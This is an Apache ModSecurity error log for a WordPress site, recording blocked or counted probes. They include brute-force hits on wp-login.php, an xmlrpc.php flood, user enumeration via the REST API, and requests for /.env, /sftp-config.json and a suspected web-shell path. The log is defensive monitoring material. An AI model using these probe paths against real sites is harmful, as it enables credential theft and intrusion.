[Tue Feb 24 17:13:20.420862 2026] [:error] [pid 37095:tid 37104] [client 193.36.225.134:33119] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1rsCX8qkGqxKHLt3uAkgAAAIc"]
[Tue Feb 24 17:14:02.609480 2026] [:error] [pid 34751:tid 34830] [client 45.155.68.151:36756] [client 45.155.68.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aZ1r2s7SW-lfeVKMPq8NKgAAAdY"]
[Tue Feb 24 17:23:43.399781 2026] [:error] [pid 34839:tid 34843] [client 37.140.223.3:23669] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1uH2Lpm0-tb2ey61G28QAAAAI"]
[Tue Feb 24 17:23:43.407200 2026] [:error] [pid 34750:tid 34783] [client 193.36.225.248:40523] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1uH-aZ-Iv_wvbRkKLIuwAAAUI"]
[Tue Feb 24 17:33:16.178148 2026] [:error] [pid 34750:tid 34802] [client 104.28.203.60:26748] [client 104.28.203.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZ1wXOaZ-Iv_wvbRkKLOAAAAAVU"]
[Tue Feb 24 17:33:19.563004 2026] [:error] [pid 34751:tid 34821] [client 104.28.203.60:26824] [client 104.28.203.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aZ1wX87SW-lfeVKMPq8RbgAAAc0"]
[Tue Feb 24 17:33:54.339609 2026] [:error] [pid 34751:tid 34808] [client 193.36.225.113:29475] [client 193.36.225.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1wgs7SW-lfeVKMPq8RewAAAcA"]
[Tue Feb 24 17:33:54.339617 2026] [:error] [pid 34750:tid 34801] [client 37.140.223.14:55579] [client 37.140.223.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1wguaZ-Iv_wvbRkKLOLAAAAVQ"]
[Tue Feb 24 17:43:48.984868 2026] [:error] [pid 34749:tid 34757] [client 37.140.223.22:26469] [client 37.140.223.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1y1IDERuV6HM3T9Km4cgAAAEM"]
[Tue Feb 24 17:43:48.985020 2026] [:error] [pid 34750:tid 34791] [client 193.36.225.239:59845] [client 193.36.225.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1y1OaZ-Iv_wvbRkKLSHwAAAUo"]
[Tue Feb 24 17:52:59.232523 2026] [:error] [pid 34749:tid 34775] [client 37.140.223.21:53181] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ10-4DERuV6HM3T9Km5nAAAAFU"]
[Tue Feb 24 17:52:59.234203 2026] [:error] [pid 37095:tid 37107] [client 37.140.223.16:46525] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ10-yX8qkGqxKHLt3uG9gAAAIo"]
[Tue Feb 24 17:58:15.939008 2026] [:error] [pid 34750:tid 34788] [client 47.93.34.99:32818] [client 47.93.34.99] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZ12N-aZ-Iv_wvbRkKLZggAAAUc"]
[Tue Feb 24 18:02:18.020196 2026] [:error] [pid 34751:tid 34832] [client 37.140.223.9:65441] [client 37.140.223.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ13Ks7SW-lfeVKMPq8X7QAAAdg"]
[Tue Feb 24 18:02:18.020467 2026] [:error] [pid 34750:tid 34804] [client 172.245.102.7:45373] [client 172.245.102.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ13KuaZ-Iv_wvbRkKLbDwAAAVc"]
[Tue Feb 24 18:11:33.974559 2026] [:error] [pid 34750:tid 34789] [client 37.140.223.9:55441] [client 37.140.223.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ15VeaZ-Iv_wvbRkKLhSQAAAUg"]
[Tue Feb 24 18:11:35.032532 2026] [:error] [pid 34839:tid 34841] [client 193.36.225.115:25853] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ15V2Lpm0-tb2ey61HHtgAAAAA"]
[Tue Feb 24 18:21:48.226390 2026] [:error] [pid 34750:tid 34789] [client 193.36.225.248:20625] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ17vOaZ-Iv_wvbRkKLnYQAAAUg"]
[Tue Feb 24 18:21:49.379848 2026] [:error] [pid 37095:tid 37117] [client 37.140.223.23:49929] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ17vSX8qkGqxKHLt3uKYwAAAJQ"]
[Tue Feb 24 18:32:06.085687 2026] [:error] [pid 37873:tid 37894] [client 37.140.223.15:32805] [client 37.140.223.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1-Jk625ION6Syu4d4qMQAAANM"]
[Tue Feb 24 18:32:06.086177 2026] [:error] [pid 34749:tid 34771] [client 136.144.33.16:46363] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1-JoDERuV6HM3T9Km_7QAAAFE"]
[Tue Feb 24 18:41:44.701943 2026] [:error] [pid 34750:tid 34781] [client 37.140.223.17:53051] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2AaOaZ-Iv_wvbRkKLy_gAAAUA"]
[Tue Feb 24 18:41:44.709053 2026] [:error] [pid 34751:tid 34815] [client 193.36.225.133:57019] [client 193.36.225.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2AaM7SW-lfeVKMPq8ivgAAAcc"]
[Tue Feb 24 18:51:03.326819 2026] [:error] [pid 37873:tid 37886] [client 193.36.225.248:36387] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Cl0625ION6Syu4d4uSQAAAMs"]
[Tue Feb 24 18:51:03.326842 2026] [:error] [pid 34749:tid 34755] [client 193.36.225.115:49199] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Cl4DERuV6HM3T9KnCuwAAAEE"]
[Tue Feb 24 19:00:21.285983 2026] [:error] [pid 34751:tid 34814] [client 172.245.102.9:36143] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Exc7SW-lfeVKMPq8n9QAAAcY"]
[Tue Feb 24 19:00:21.319719 2026] [:error] [pid 37873:tid 37887] [client 37.140.223.11:57371] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2ExU625ION6Syu4d4wLAAAAMw"]
[Tue Feb 24 19:10:31.668453 2026] [:error] [pid 34750:tid 34802] [client 37.140.223.8:36679] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2HJ-aZ-Iv_wvbRkKIEUgAAAVU"]
[Tue Feb 24 19:10:31.668625 2026] [:error] [pid 34750:tid 34783] [client 193.36.225.111:35845] [client 193.36.225.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2HJ-aZ-Iv_wvbRkKIEUwAAAUI"]
[Tue Feb 24 19:17:57.822934 2026] [:error] [pid 34750:tid 34789] [client 136.115.25.150:52368] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I5eaZ-Iv_wvbRkKIIagAAAUg"]
[Tue Feb 24 19:18:01.723929 2026] [:error] [pid 34750:tid 34790] [client 136.115.25.150:52368] [client 136.115.25.150] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZ2I6eaZ-Iv_wvbRkKIIfAAAAUk"]
[Tue Feb 24 19:18:03.282208 2026] [:error] [pid 34750:tid 34788] [client 136.115.25.150:52368] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I6-aZ-Iv_wvbRkKIIgQAAAUc"]
[Tue Feb 24 19:18:05.242218 2026] [:error] [pid 34750:tid 34797] [client 136.115.25.150:57969] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I7eaZ-Iv_wvbRkKIIjwAAAVA"]
[Tue Feb 24 19:18:07.195040 2026] [:error] [pid 34750:tid 34796] [client 136.115.25.150:60635] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I7-aZ-Iv_wvbRkKIImQAAAU8"]
[Tue Feb 24 19:18:09.167045 2026] [:error] [pid 34839:tid 34861] [client 136.115.25.150:62288] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I8WLpm0-tb2ey61HjpQAAABQ"]
[Tue Feb 24 19:18:11.146346 2026] [:error] [pid 34751:tid 34809] [client 136.115.25.150:60740] [client 136.115.25.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.25.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I887SW-lfeVKMPq8slgAAAcE"]
[Tue Feb 24 19:18:11.146525 2026] [:error] [pid 34751:tid 34809] [client 136.115.25.150:60740] [client 136.115.25.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.115.25.150, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2I887SW-lfeVKMPq8slgAAAcE"]
[Tue Feb 24 19:21:19.708565 2026] [:error] [pid 34750:tid 34787] [client 37.140.223.26:50471] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Jr-aZ-Iv_wvbRkKIK8QAAAUY"]
[Tue Feb 24 19:21:19.825640 2026] [:error] [pid 34839:tid 34863] [client 37.140.223.3:21329] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Jr2Lpm0-tb2ey61Hk4gAAABY"]
[Tue Feb 24 19:30:55.281978 2026] [:error] [pid 37873:tid 37875] [client 37.140.223.11:37127] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2L70625ION6Syu4d41yQAAAMA"]
[Tue Feb 24 19:30:55.281998 2026] [:error] [pid 34751:tid 34828] [client 37.140.223.17:48321] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2L787SW-lfeVKMPq8xDQAAAdQ"]
[Tue Feb 24 19:40:24.677162 2026] [:error] [pid 16867:tid 16885] [client 193.36.225.112:48173] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2OKNTc72Oc9LHzeyJyPAAAA48"]
[Tue Feb 24 19:40:24.677269 2026] [:error] [pid 16867:tid 16881] [client 37.140.223.14:43997] [client 37.140.223.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2OKNTc72Oc9LHzeyJyPQAAA4s"]
[Tue Feb 24 19:45:29.233324 2026] [:error] [pid 16716:tid 16730] [client 103.77.107.57:60922] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aZ2PWcD67Ke7uCRSQazU5QAAAkw"]
[Tue Feb 24 19:49:48.047502 2026] [:error] [pid 16716:tid 16731] [client 37.140.223.11:23779] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2QXMD67Ke7uCRSQazVogAAAk0"]
[Tue Feb 24 19:49:48.064538 2026] [:error] [pid 34750:tid 34787] [client 172.245.102.9:50407] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2QXOaZ-Iv_wvbRkKIWHAAAAUY"]
[Tue Feb 24 19:58:57.170915 2026] [:error] [pid 16623:tid 16643] [client 172.245.102.10:28541] [client 172.245.102.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2SgRjs4U6vkg740_GnuQAAARI"]
[Tue Feb 24 19:58:57.170924 2026] [:error] [pid 34751:tid 34831] [client 193.36.225.112:32159] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2Sgc7SW-lfeVKMPq80bwAAAdc"]
[Tue Feb 24 20:08:41.727045 2026] [:error] [pid 16868:tid 16901] [client 37.140.223.17:43253] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2UySdEecEcYKsh8PTrJQAAA8Q"]
[Tue Feb 24 20:08:41.727045 2026] [:error] [pid 16868:tid 16902] [client 37.140.223.25:50115] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2UySdEecEcYKsh8PTrJgAAA8U"]
[Tue Feb 24 20:18:08.518292 2026] [:error] [pid 16867:tid 16887] [client 37.140.223.8:22517] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2XANTc72Oc9LHzeyKAeQAAA5E"]
[Tue Feb 24 20:18:08.531320 2026] [:error] [pid 16805:tid 16811] [client 172.245.102.8:57019] [client 172.245.102.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2XAKYuGciBkyQZTxUR4gAAAwQ"]
[Tue Feb 24 20:27:38.886569 2026] [:error] [pid 16868:tid 16913] [client 37.140.223.21:53769] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2ZOidEecEcYKsh8PTyOAAAA9A"]
[Tue Feb 24 20:27:38.886650 2026] [:error] [pid 16867:tid 16890] [client 37.140.223.26:46695] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2ZOtTc72Oc9LHzeyKD5QAAA5Q"]
[Tue Feb 24 20:36:53.107868 2026] [:error] [pid 16776:tid 16780] [client 193.36.225.133:42927] [client 193.36.225.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2bZdimHlyQNis9RPvfrQAAAsI"]
[Tue Feb 24 20:36:53.108000 2026] [:error] [pid 16776:tid 16787] [client 136.144.33.235:26751] [client 136.144.33.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2bZdimHlyQNis9RPvfrgAAAsk"]
[Tue Feb 24 20:46:16.598376 2026] [:error] [pid 16716:tid 16731] [client 37.140.223.23:25689] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2dmMD67Ke7uCRSQazcngAAAk0"]
[Tue Feb 24 20:55:23.018698 2026] [:error] [pid 33606:tid 33660] [client 37.140.223.11:20387] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2fuwoeZK95IwLY3zWFtAAAAJg"]
